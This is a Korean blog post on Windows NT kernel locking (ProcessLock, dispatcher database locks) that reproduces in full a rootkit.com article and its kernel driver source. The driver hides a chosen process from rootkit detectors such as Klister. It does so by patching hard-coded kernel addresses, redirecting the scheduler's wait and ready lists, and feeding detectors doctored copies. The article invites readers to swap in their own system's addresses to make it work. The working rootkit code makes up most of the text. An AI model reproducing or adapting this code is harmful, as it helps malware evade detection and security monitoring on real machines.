오전 11:24 2006-08-27
조경민 bro@shinbiro.com
EPROCESS ProcessLock 관련
========================================================

WinNT 클론을 표방하는 오픈소스 ReactOS에서 KPROCESS의 ProcessLock에 대한 설명
출처: http://www.reactos.org/wiki/index.php?title=KPROCESS/ProcessLock&redirect=no
Contains a Spinlock used when Locking the Process. Very seldomly used by the Kernel.
프로세스를 Lock하려할때 Spinlock으로 사용됨. 커널에서 매우 드물게 사용된다.

또다른 MS의 강연 자료에서 ProcessLock은 프로세스내의 스레드 리스트나 토큰 사용시 보호를 위해서 사용된다하네요
ProcessLock – Protects thread list, token
RundownProtect – Cross process address space, image section and handle table references
Token, Prefetch – Uses fast referencing
Token, Job – Torn down at last process dereference without synchronization

출처: http://www.i.u-tokyo.ac.jp/edu/training/ss/msprojects/data/07-ProcessesThreadsVM.ppt
Windows Kernel Internals II
Processes, Threads, VirtualMemory
University of Tokyo – July 2004*
Dave Probert, Ph.D.
Advanced Operating Systems Group
Windows Core Operating Systems Division
Microsoft Corporation


원래 찾고자 했던것은 프로세스 리스트 탐색 (PLIST_ENTRY)시 커널내에서 보호를 받고자 한 것인데요.
저자가 이상하게도 이를 잘 안알려주고 자신만 알고 싶어 한거 같네요.
찾아보니 쉽게 나오네요 -,.- (구굴링 20초 내에 찾음)
다음은 어떤 이가 올린 NT커널에서 스케줄링에서 빠지게 만드는 샘플인데요.
출처: http://www.rootkit.com/newsread.php?newsid=117

스레드 리스트를 교체하는 동안에는 우리는 반드시 NonPagedPool에서 그들 리스트를 처음에 할당해주어야 하고
우리의 새로운 리스트로 원본을 이동시켜야 한다. 이러는 동안 우리는 또한 반드시 IRQL을 Dispatcher 레벨로 올려야하고
스핀 락을 사용해야 한다. 이런 작업을 완료 한 후에는 당근이 스핀 락을 해제하고 IRQL을 원래 값으로 내려야한다.
(커널에서 스케줄러 데이터베이스와 관련된 구조체를 사용할때에는 반드시 KiLockDispatcherDatabase를 먼저하고,
KiUnlockDispatcherDatabase를 호출한다. 이 이야기는 대체로 내가 말했던것과 유사하다. 다른점은 이것이다.
KiUnlockDispatcherDatabase는 만일 다른 스레드가 실행을 위해서 선택된적이 있다면 컨텍스트 스위치는 초기화 될것이라는 것.

While working on replacing these lists, we must at first allocate struct of these lists in NonPagedPool and then move the contents of original lists to our new lists. While doing this, we must raise the IRQL to Dispatcher level, and then require for spin lock. After work is done, release the spin lock and move back to old IRQL (All routines in the kernel which are relevant to the figure-structures of scheduler database should call KiLockDispatcherDatabase first, after that call KiUnlockDispatcherDatabase. The theory is generally familiar to the what I said. The difference relies on this: KiUnlockDispatcherDatabase will initiate a context switch if another thread has been selected for execution).

다음은 위의 내용입니다.

Byepass Scheduler List Process Detection


By: SoBeIt
Byepass Scheduler List Process Detection

SoBeIt
Email:kinvis@hotmail.om

Common methods of process-hiding are practically not able to hide the process thoroughly. That is because the scheduler of the kernel is based on thread, not process. Allow me to introduce my all-ready-done solution which is much more hidden.

We know that scheduler uses three lists:

KiWaitInListHead=0x80482258
KiWaitOutListhead=0x80482808
KiDispatcherReadyListHead=0x804822e0 (This list is an array, actually consisting of 32 LIST_ENTRY structures, relating to 32 priorities).

In fact,there are also several lists used by the Balance Set Manager:
KiProcessInSwapListHead
KiProcessOutSwapListHead
KiStackInSwapListHead

which we can also use to enumerate thread and process. However, most of the time they are blank. The Balance Set Manager will only be utilized by the Working Set Manager when the page fault rate is too high or the free lists of the working set are too few. So, there aren't many records in the List and also they are executive at a high speed.



While working on replacing these lists, we must at first allocate struct of these lists in NonPagedPool and then move the contents of original lists to our new lists. While doing this, we must raise the IRQL to Dispatcher level, and then require for spin lock. After work is done, release the spin lock and move back to old IRQL (All routines in the kernel which are relevant to the figure-structures of scheduler database should call KiLockDispatcherDatabase first, after that call KiUnlockDispatcherDatabase. The theory is generally familiar to the what I said. The difference relies on this: KiUnlockDispatcherDatabase will initiate a context switch if another thread has been selected for execution).

The routines using KiWaitInListHead in the system:

KeWaitForSingleObject
KeWaitForMultipleObject
KeDelayExecutionThread
KiOutSwapKernelStacks

The routine of KiWaitOutListHead is the same as the routines of KiWaitInListHead. The former three routines all use macro KiInsertWaitList. And because the last one uses macro RemoveEntryList, the routine's assembler codes will engender two 0x8048280c; If they are not also replaced, mistakes will exist. (The system can normally run for a while, but it will reboot when new threads are scheduled, because the original list has been all messed up. -_-) The routines using KiDispatcherReadyListHead are below:

KeSetAffinityThread
KiFindReadyThread
KiReadyThread
KiSetPriorityThread
NtYieldExecution
KiScanReadyQueues
KiSwapThread

That KiSetPriorityThread also uses macro RemoveEntryList, so it will engender one 0x804822e4. Fortunately it is not difficult to find them: if existing, they will appear after the original list addresses not very far away. (The reason is that the macro RemoveEntryList is never used alone in scheduler.) Then you can replace all the schedule lists used in the system with new lists, and copy content of our lists to the original lists, to cheat the rootkit detecter. At first, I do a simple copy. When I run Klister, machine reboot. What a surprise, becase normal user will think that Klister cause mistake(Sorry to Joanna Rutkowska^_^) Because when I run Klister, system has been scheduled for many times, original lists are already messed up. When you read these lists, it will cause an endless cycle, because you can never read the head of list again. We must avoid these so we shall allocate new thread objects to cheat detecter (because only for cheating, these objects are not for common using, so I allocate smaller structs to save memory). Then we create a system thread, copy new lists to original lists each time when the system thread is awoken. While copying, we can delete these records which we want to hide. Because all addresses I used are hard coded it can be only running in Windows 2000 Build 2195 SP4 Chinese Edition. You can simply change these hard coded addresses to the addresses of your system, and it will work well. Here is the code, I hide System process(PID=0x8):


#include "ntddk.h"
#include "ntifs.h"
#include "stdio.h"
#include "stdarg.h"


typedef struct _DEVICE_EXTENSION {
    HANDLE    hWorkerThread;
    KEVENT    ExitEvent;
    PDEVICE_OBJECT    pDeviceObject;
    BOOLEAN    bExit;
}DEVICE_EXTENSION, *PDEVICE_EXTENSION;

typedef struct _FAKE_ETHREAD{
    DISPATCHER_HEADER           Header;
    LIST_ENTRY                  MutantListHead;
    PVOID                       InitialStack;
    PVOID                       StackLimit;
    struct _TEB                 *Teb;
    PVOID                       TlsArray;
    PVOID                       KernelStack;
    BOOLEAN                     DebugActive;
    UCHAR                       State;
    USHORT                      Alerted;
    UCHAR                       Iopl;
    UCHAR                       NpxState;
    UCHAR                       Saturation;
    UCHAR                       Priority;
    KAPC_STATE                  ApcState;
    ULONG                       ContextSwitches;
    NTSTATUS                    WaitStatus;
    UCHAR                       WaitIrql;
    UCHAR                       WaitMode;
    UCHAR                       WaitNext;
    UCHAR                       WaitReason;
    PKWAIT_BLOCK                WaitBlockList;
    LIST_ENTRY                  WaitListEntry;
    ULONG                       WaitTime;
    UCHAR                       BasePriority;
    UCHAR                       DecrementCount;
    UCHAR                       PriorityDecrement;
    UCHAR                       Quantum;
    KWAIT_BLOCK                 WaitBlock[4];
    ULONG                       LegoData;
    ULONG                       KernelApcDisable;
    ULONG                       UserAffinity;
    BOOLEAN                     SystemAffinityActive;
    UCHAR                       PowerState;
    UCHAR                       NpxIrql;
    UCHAR                       Pad[1];
    PSERVICE_DESCRIPTOR_TABLE   ServiceDescriptorTable;
    PKQUEUE                     Queue;
    KSPIN_LOCK                  ApcQueueLock;
    KTIMER                      Timer;
    LIST_ENTRY                  QueueListEntry;
    ULONG                       Affinity;
    BOOLEAN                     Preempted;
    BOOLEAN                     ProcessReadyQueue;
    BOOLEAN                     KernelStackResident;
    UCHAR                       NextProcessor;
    PVOID                       CallbackStack;
    PVOID                       Win32Thread;
    PKTRAP_FRAME                TrapFrame;
    PKAPC_STATE                 ApcStatePointer[2];
    UCHAR                       PreviousMode;
    BOOLEAN                     EnableStackSwap;
    BOOLEAN                     LargeStack;
    UCHAR                       ResourceIndex;
    ULONG                       KernelTime;
    ULONG                       UserTime;
    KAPC_STATE                  SavedApcState;
    BOOLEAN                     Alertable;
    UCHAR                       ApcStateIndex;
    BOOLEAN                     ApcQueueable;
    BOOLEAN                     AutoAlignment;
    PVOID                       StackBase;
    KAPC                        SuspendApc;
    KSEMAPHORE                  SuspendSemaphore;
    LIST_ENTRY                  ThreadListEntry;
    UCHAR                       FreezeCount;
    UCHAR                       SuspendCount;
    UCHAR                       IdealProcessor;
    BOOLEAN                     DisableBoost;
    LARGE_INTEGER                   CreateTime;
    union {
        LARGE_INTEGER               ExitTime;
        LIST_ENTRY                  LpcReplyChain;
    };
    union {
        NTSTATUS                    ExitStatus;
        PVOID                       OfsChain;
    };
    LIST_ENTRY                      PostBlockList;
    LIST_ENTRY                      TerminationPortList;
    KSPIN_LOCK                      ActiveTimerListLock;
    LIST_ENTRY                      ActiveTimerListHead;
    CLIENT_ID                       Cid;
}FAKE_ETHREAD, *PFAKE_ETHREAD;

VOID ReplaceList(PVOID pContext)
{
    PLIST_ENTRY pFirstEntry, pLastEntry, pPrevEntry, pNextEntry, pEntry;
    PLIST_ENTRY

pNewKiDispatcherReadyListHead,pNewKiWaitInListHead,pNewKiWaitOutListHead;
    PLIST_ENTRY pKiDispatcherReadyListHead,pKiWaitInListHead,pKiWaitOutListHead;
    int i, ChangeList;
    int SysKiWaitInListHeadAddr[] = {0x8042d90b, 0x8042db78, 0x8042de57, 0x8042f176,

0x8046443b, 0x80464441, 0x804644d6};
    int SysKiWaitOutListHeadAddr[] = {0x8042d921, 0x8042db90, 0x8042de6f, 0x8042f18e,

0x80464494};
    int SysKiWaitOutListHeadAdd4Addr[] = {0x8046448e, 0x804644a1};
    int SysKiDispatcherReadyListHeadAddr[] = {0x804041ff, 0x8042faad, 0x804313de,

0x80431568, 0x8043164f, 0x80431672, 0x8043379f, 0x8046462d};
    int SysKiDispatcherReadyListHeadAdd4Addr = 0x8043166b;
    KIRQL    OldIrql;
    KSPIN_LOCK    DpcSpinLock;
    LARGE_INTEGER    DelayTime;
    NTSTATUS    Status;
    PDEVICE_EXTENSION    pDevExt;
    PEPROCESS    pEPROCESS;
    PETHREAD    pETHREAD;
    ULONG    PID;
    PFAKE_ETHREAD    pFakeETHREAD;

    pDevExt = (PDEVICE_EXTENSION)pContext;
    DelayTime.QuadPart = -(10 * 1000 * 10000);
    pKiWaitInListHead = (PLIST_ENTRY)0x80482258;
    pKiWaitOutListHead = (PLIST_ENTRY)0x80482808;
    pKiDispatcherReadyListHead = (PLIST_ENTRY)0x804822e0;

    pNewKiWaitInListHead =

(PLIST_ENTRY)ExAllocatePool(NonPagedPool,sizeof(LIST_ENTRY));
    pNewKiWaitOutListHead = (PLIST_ENTRY)ExAllocatePool(NonPagedPool,

sizeof(LIST_ENTRY));
    pNewKiDispatcherReadyListHead = (PLIST_ENTRY)ExAllocatePool(NonPagedPool, 32 *

sizeof(LIST_ENTRY));

    InitializeListHead(pNewKiWaitInListHead);
    InitializeListHead(pNewKiWaitOutListHead);

    for(i = 0; i < 32; i++)
    {
        InitializeListHead(&pNewKiDispatcherReadyListHead[i]);
    }

    KeInitializeSpinLock(&DpcSpinLock);

    __try
    {
        OldIrql = KeRaiseIrqlToDpcLevel();
        KeAcquireSpinLockAtDpcLevel(&DpcSpinLock);

        pFirstEntry = pKiWaitInListHead->Flink;
        pLastEntry = pKiWaitInListHead->Blink;

        pNewKiWaitInListHead->Flink = pFirstEntry;
        pNewKiWaitInListHead->Blink = pLastEntry;

        pFirstEntry->Blink = pNewKiWaitInListHead;
        pLastEntry->Flink = pNewKiWaitInListHead;

        for(i = 0; i < 7; i++)
        {
            ChangeList = SysKiWaitInListHeadAddr[i];
            *(PULONG)ChangeList = (ULONG)pNewKiWaitInListHead;
            DbgPrint("NewWaitIn:%8x",*(PULONG)ChangeList);
        }

        pFirstEntry = pKiWaitOutListHead->Flink;
        pLastEntry = pKiWaitOutListHead->Blink;

        pNewKiWaitOutListHead->Flink = pFirstEntry;
        pNewKiWaitOutListHead->Blink = pLastEntry;

        pFirstEntry->Blink = pNewKiWaitOutListHead;
        pLastEntry->Flink = pNewKiWaitOutListHead;

        for(i = 0; i < 5; i++)
        {
            ChangeList = SysKiWaitOutListHeadAddr[i];
            *(PULONG)ChangeList = (ULONG)pNewKiWaitOutListHead;
            DbgPrint("NewWaitOut:%8x",*(PULONG)ChangeList);
        }

        for(i = 0; i < 2; i++)
        {
            ChangeList = SysKiWaitOutListHeadAdd4Addr[i];
            *(PULONG)ChangeList = (ULONG)pNewKiWaitOutListHead + 0x4;
            DbgPrint("NewWaitOut+4:%8x",*(PULONG)ChangeList);
        }

        for(i = 0; i < 32; i++)
        {
            if(pKiDispatcherReadyListHead[i].Flink !=

&pKiDispatcherReadyListHead[i])
            {
                pFirstEntry = pKiDispatcherReadyListHead[i].Flink;
                pLastEntry = pKiDispatcherReadyListHead[i].Blink;

                pNewKiDispatcherReadyListHead[i].Flink = pFirstEntry;
                pNewKiDispatcherReadyListHead[i].Blink = pLastEntry;

                pFirstEntry->Blink = &pNewKiDispatcherReadyListHead[i];
                pLastEntry->Flink = &pNewKiDispatcherReadyListHead[i];
            }
        }

        for(i = 0; i < 8; i++)
        {
            ChangeList = SysKiDispatcherReadyListHeadAddr[i];
            *(PULONG)ChangeList = (ULONG)pNewKiDispatcherReadyListHead;
            DbgPrint("NewDispatcher:%8x", *(PULONG)ChangeList);
        }

        ChangeList = SysKiDispatcherReadyListHeadAdd4Addr;
        *(PULONG)ChangeList = (ULONG)pNewKiDispatcherReadyListHead + 0x4;
        DbgPrint("NewDispatcher+4:%8x", *(PULONG)ChangeList);

        KeReleaseSpinLockFromDpcLevel(&DpcSpinLock);
        KeLowerIrql(OldIrql);

        for(;;)
        {
            InitializeListHead(pKiWaitInListHead);
            InitializeListHead(pKiWaitOutListHead);

            for(i = 0; i < 32; i++)
            {
                InitializeListHead(&pKiDispatcherReadyListHead[i]);
            }

            for(pEntry = pNewKiWaitInListHead->Flink;
                    pEntry && pEntry != pNewKiWaitInListHead; pEntry

= pEntry->Flink)
            {
                pETHREAD = (PETHREAD)(((PCHAR)pEntry)-0x5c);
                pEPROCESS = (PEPROCESS)(pETHREAD->Tcb.ApcState.Process);
                PID = *(PULONG)(((PCHAR)pEPROCESS)+0x9c);

                if(PID == 0x8)
                {
                    continue;
                }
                
                pFakeETHREAD = ExAllocatePool(PagedPool,

sizeof(FAKE_ETHREAD));

                memcpy(pFakeETHREAD, pETHREAD, sizeof(FAKE_ETHREAD));
                InsertHeadList(pKiWaitInListHead,

&pFakeETHREAD->WaitListEntry);
            }

            for(pEntry = pNewKiWaitOutListHead->Flink;
                    pEntry && pEntry != pNewKiWaitOutListHead; pEntry

= pEntry->Flink)
            {
                pETHREAD = (PETHREAD)(((PCHAR)pEntry)-0x5c);
                pEPROCESS = (PEPROCESS)(pETHREAD->Tcb.ApcState.Process);
                PID = *(PULONG)(((PCHAR)pEPROCESS)+0x9c);

                if(PID == 0x8)
                {
                    continue;
                }

                pFakeETHREAD = ExAllocatePool(PagedPool,

sizeof(FAKE_ETHREAD));

                memcpy(pFakeETHREAD, pETHREAD, sizeof(FAKE_ETHREAD));
                InsertHeadList(pKiWaitOutListHead,

&pFakeETHREAD->WaitListEntry);
            }

            for(i = 0; i < 32 ; i++)
            {
                for(pEntry = pNewKiDispatcherReadyListHead[i].Flink;
                    pEntry && pEntry !=

&pNewKiDispatcherReadyListHead[i]; pEntry = pEntry->Flink)
                    {
                        pETHREAD = (PETHREAD)(((char

*)pEntry)-0x5c);
                        pEPROCESS =

(PEPROCESS)(pETHREAD->Tcb.ApcState.Process);
                        PID = *(ULONG *)(((char

*)pEPROCESS)+0x9c);
                        
                        if(PID == 0x8)
                        {
                            continue;
                        }

                        pFakeETHREAD = ExAllocatePool(PagedPool,

sizeof(FAKE_ETHREAD));

                        memcpy(pFakeETHREAD, pETHREAD,

sizeof(FAKE_ETHREAD));
                        

InsertHeadList(&pKiDispatcherReadyListHead[i], &pFakeETHREAD->WaitListEntry);
                    }
            }

            DbgPrint("pKiWaitInListHead->Flink:%8x",

pKiWaitInListHead->Flink);
            DbgPrint("pKiWaitInListHead->Blink:%8x",

pKiWaitInListHead->Blink);
            DbgPrint("pKiWaitOutListHead->Flink:%8x",

pKiWaitOutListHead->Flink);
            DbgPrint("pKiWaitOutListHead->Blink:%8x",

pKiWaitOutListHead->Blink);
            DbgPrint("pKiDispatcherReadyListHead[0].Flink:%8x",

pKiDispatcherReadyListHead[0].Flink);
            DbgPrint("pKiDispatcherReadyListHead[0].Blink:%8x",

pKiDispatcherReadyListHead[0].Blink);

            Status = KeWaitForSingleObject(&pDevExt->ExitEvent,
                                        

Executive,
                                        

KernelMode,
                                        FALSE,
                                        

&DelayTime);

            if(Status == STATUS_SUCCESS)
                break;
        }

        OldIrql = KeRaiseIrqlToDpcLevel();
        KeAcquireSpinLockAtDpcLevel(&DpcSpinLock);

        pFirstEntry = pNewKiWaitInListHead->Flink;
        pLastEntry = pNewKiWaitInListHead->Blink;

        pKiWaitInListHead->Flink = pFirstEntry;
        pKiWaitInListHead->Blink = pLastEntry;

        pFirstEntry->Blink = pKiWaitInListHead;
        pLastEntry->Flink = pKiWaitInListHead;

        for(i = 0; i < 7; i++)
        {
            ChangeList = SysKiWaitInListHeadAddr[i];
            *(PULONG)ChangeList = (ULONG)pKiWaitInListHead;
            DbgPrint("OrgWaitIn:%8x",*(PULONG)ChangeList);
        }

        pFirstEntry = pNewKiWaitOutListHead->Flink;
        pLastEntry = pNewKiWaitOutListHead->Blink;

        pKiWaitOutListHead->Flink = pFirstEntry;
        pKiWaitOutListHead->Blink = pLastEntry;

        pFirstEntry->Blink = pKiWaitOutListHead;
        pLastEntry->Flink = pKiWaitOutListHead;

        for(i = 0; i < 5; i++)
        {
            ChangeList = SysKiWaitOutListHeadAddr[i];
            *(PULONG)ChangeList = (ULONG)pKiWaitOutListHead;
            DbgPrint("OrgWaitOut:%8x",*(PULONG)ChangeList);
        }

        for(i = 0; i < 2; i++)
        {
            ChangeList = SysKiWaitOutListHeadAdd4Addr[i];
            *(PULONG)ChangeList = (ULONG)pKiWaitOutListHead + 0x4;
            DbgPrint("OrgWaitOut+4:%8x",*(PULONG)ChangeList);
        }

        for(i = 0; i < 32; i++)
        {
            if(pNewKiDispatcherReadyListHead[i].Flink !=

&pNewKiDispatcherReadyListHead[i])
            {
                pFirstEntry = pNewKiDispatcherReadyListHead[i].Flink;
                pLastEntry = pNewKiDispatcherReadyListHead[i].Blink;

                pKiDispatcherReadyListHead[i].Flink = pFirstEntry;
                pKiDispatcherReadyListHead[i].Blink = pLastEntry;

                pFirstEntry->Blink = &pKiDispatcherReadyListHead[i];
                pLastEntry->Flink = &pKiDispatcherReadyListHead[i];
            }
        }

        for(i = 0; i < 8; i++)
        {
            ChangeList = SysKiDispatcherReadyListHeadAddr[i];
            *(PULONG)ChangeList = (ULONG)pKiDispatcherReadyListHead;
            DbgPrint("NewDispatcher:%8x", *(PULONG)ChangeList);
        }

        ChangeList = SysKiDispatcherReadyListHeadAdd4Addr;
        *(PULONG)ChangeList = (ULONG)pKiDispatcherReadyListHead + 0x4;
        DbgPrint("NewDispatcher+4:%8x", *(PULONG)ChangeList);

        KeReleaseSpinLockFromDpcLevel(&DpcSpinLock);
        KeLowerIrql(OldIrql);

        ExFreePool(pNewKiWaitInListHead);
        ExFreePool(pNewKiWaitOutListHead);
        ExFreePool(pNewKiDispatcherReadyListHead);

        DbgPrint("Now terminate system thread.\n");

        PsTerminateSystemThread(STATUS_SUCCESS);
    }
    __except(EXCEPTION_EXECUTE_HANDLER)
    {
        DbgPrint("Error occured in ReplaceList().\n");
    }

    return;
}


NTSTATUS DriverUnload(IN PDRIVER_OBJECT pDriObj)
{
    WCHAR DevLinkBuf[] = L"\\??\\SchList";
    UNICODE_STRING uniDevLink;
    PDEVICE_OBJECT pDevObj;
    PVOID    pWorkerThread;
    PDEVICE_EXTENSION    pDevExt;
    NTSTATUS Status;
    LARGE_INTEGER    WaitTime;

    WaitTime.QuadPart = -(8 * 1000 * 10000);
    pDevObj = pDriObj->DeviceObject;
    pDevExt = (PDEVICE_EXTENSION)pDevObj->DeviceExtension;
    pDevExt->bExit = TRUE;

    __try
    {
        KeSetEvent(&pDevExt->ExitEvent, 0, FALSE);
        KeDelayExecutionThread(KernelMode, FALSE, &WaitTime);

        DbgPrint("SchList:Worker thread killed.\n");
    }
    __except(EXCEPTION_EXECUTE_HANDLER)
    {
        DbgPrint("Error occured in Unload().\n");
    }


    if(pDevObj)
    {
        RtlInitUnicodeString(&uniDevLink,DevLinkBuf);
        IoDeleteSymbolicLink(&uniDevLink);
        IoDeleteDevice(pDevObj);

        DbgPrint(("SchList.sys:Driver Unload successfully.\n"));

        return STATUS_SUCCESS;
    }

    DbgPrint(("SchList.sys:Detect device failed.\n"));

    return STATUS_SUCCESS;
}

NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriObj,
                     IN PUNICODE_STRING puniRegPath)
{
    WCHAR DevNameBuf[] = L"\\Device\\SchList";
    UNICODE_STRING uniDevName;
    WCHAR DevLinkBuf[] = L"\\??\\SchList";
    UNICODE_STRING uniDevLink;
    PDEVICE_OBJECT pDevObj;
    PDEVICE_EXTENSION    pDevExt;
    NTSTATUS status;
    int pKiDispatcherReadyListHeadAddr = 0x804822e0;
    int pKiWaitInListHeadAddr = 0x80482258;
    int pKiWaitOutListHeadAddr = 0x80482808;

    DbgPrint(("SchList:Enter DriverEntry.\n"));

    RtlInitUnicodeString(&uniDevName,DevNameBuf);

    status = IoCreateDevice(pDriObj,
        sizeof(DEVICE_EXTENSION),
        &uniDevName,
        FILE_DEVICE_UNKNOWN,
        0,
        FALSE,
        &pDevObj);

    if(!NT_SUCCESS(status))
    {
        DbgPrint(("SchList.sys:Create device failed.\n"));

        return status;
    }

    DbgPrint(("SchList.sys:Create device successfully.\n"));

    pDevExt = (PDEVICE_EXTENSION) pDevObj->DeviceExtension;
    pDevExt->pDeviceObject = pDevObj;

    KeInitializeEvent(&pDevExt->ExitEvent, SynchronizationEvent, 0);
    RtlInitUnicodeString(&uniDevLink,DevLinkBuf);

    status = IoCreateSymbolicLink(&uniDevLink,
        &uniDevName);

    if(!NT_SUCCESS(status))
    {
        DbgPrint(("SchList.sys:Create symbolic link failed.\n"));

        return status;
    }

    pDriObj->DriverUnload = DriverUnload;

    PsCreateSystemThread(&pDevExt->hWorkerThread,
                            (ACCESS_MASK)0L,
                            NULL,
                            (HANDLE)0L,
                            NULL,
                            ReplaceList,
                            pDevExt);

    return STATUS_SUCCESS;
}

'KB > Win32/x86' 카테고리의 다른 글

Pfair (Proportionate fair) scheduling  (0) 2006.09.23
Operating System Inside  (0) 2006.09.20
workingset size  (0) 2006.08.27
WinNT EPROCESS의 DirectoryTableBase 배열이 두개?  (0) 2006.08.26
Lock Free or Wait Free  (0) 2006.08.21

+ Recent posts